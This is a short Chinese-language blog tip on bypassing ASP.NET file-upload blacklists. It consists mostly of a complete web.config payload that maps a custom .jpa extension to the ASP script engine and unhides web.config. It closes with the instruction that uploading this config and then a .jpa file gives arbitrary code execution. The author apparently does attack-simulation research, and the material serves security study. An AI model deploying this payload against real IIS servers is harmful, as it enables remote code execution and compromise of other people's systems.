ASP.NET 文件上传黑名单解决办法
tips
ASP.NET 文件上传黑名单解决办法
来源:https://poc-server.com/blog/2018/05/22/rce-by-uploading-a-web-config/
同过上传web.config配置文件可以使得任意扩展名的文件以脚本代码运行
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.jpa" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".jpa" />
</fileExtensions>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
<appSettings>
</appSettings>
</configuration>
上传完成web.config到Web目录下后,可以再上传*.jpa
的扩展名文件达到执行任意代码的目的。
网络安全爱好者、安全工具开发者
现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。
